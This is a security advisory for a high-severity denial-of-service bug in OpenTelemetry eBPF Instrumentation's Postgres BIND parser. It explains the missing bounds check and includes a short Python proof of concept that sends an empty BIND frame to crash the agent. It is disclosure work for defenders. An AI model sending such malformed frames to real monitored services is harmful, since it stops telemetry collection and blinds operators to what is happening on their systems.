GHSA-pgvv-q3wf-mm9mHighCVSS 7.5

OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Published
May 18, 2026
Last Modified
May 18, 2026

🔗 CVE IDs covered (1)

📋 Description

### Summary The Postgres protocol parser assumes `BIND` message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. ### Details The vulnerable logic is in [pkg/ebpf/common/sql_detect_postgres.go](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/d5691806adc98008bacd2b7a4a4e0cd38ea51227/pkg/components/ebpf/common/sql_detect_postgres.go#L286-L294). In the `BIND` case, OBI converts the full payload to a string with `unix.ByteSliceToString(msg.data)`, computes `portalLen := len(portal) + 1`, and then slices `msg.data[portalLen:]` to derive the statement name. There is no check that `msg.data` actually contains a NUL terminator or even enough bytes for `portalLen`. With an empty payload or a truncated message, `portalLen` can exceed the slice length and trigger a runtime panic. ### PoC Local testing with a minimal reproducer showed the expected `slice bounds out of range` crash for an empty BIND payload. Use a vulnerable build: ```bash git checkout v0.0.0-rc.1+build make build ``` Start a local Postgres instance and OBI: ```bash docker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17 sudo ./bin/obi ``` Send a malformed `BIND` frame with an empty payload: ```python # save as /tmp/pg-bind-poc.py import socket, struct tag = b'B' length = struct.pack(">I", 4) payload = b"" s = socket.create_connection(("127.0.0.1", 5432)) s.sendall(tag + length + payload) s.close() ``` Run it: ```bash python3 /tmp/pg-bind-poc.py ``` On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload. ### Impact This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.

🎯 Affected products1

  • go/go.opentelemetry.io/obi:< 0.9.0

🔗 References (2)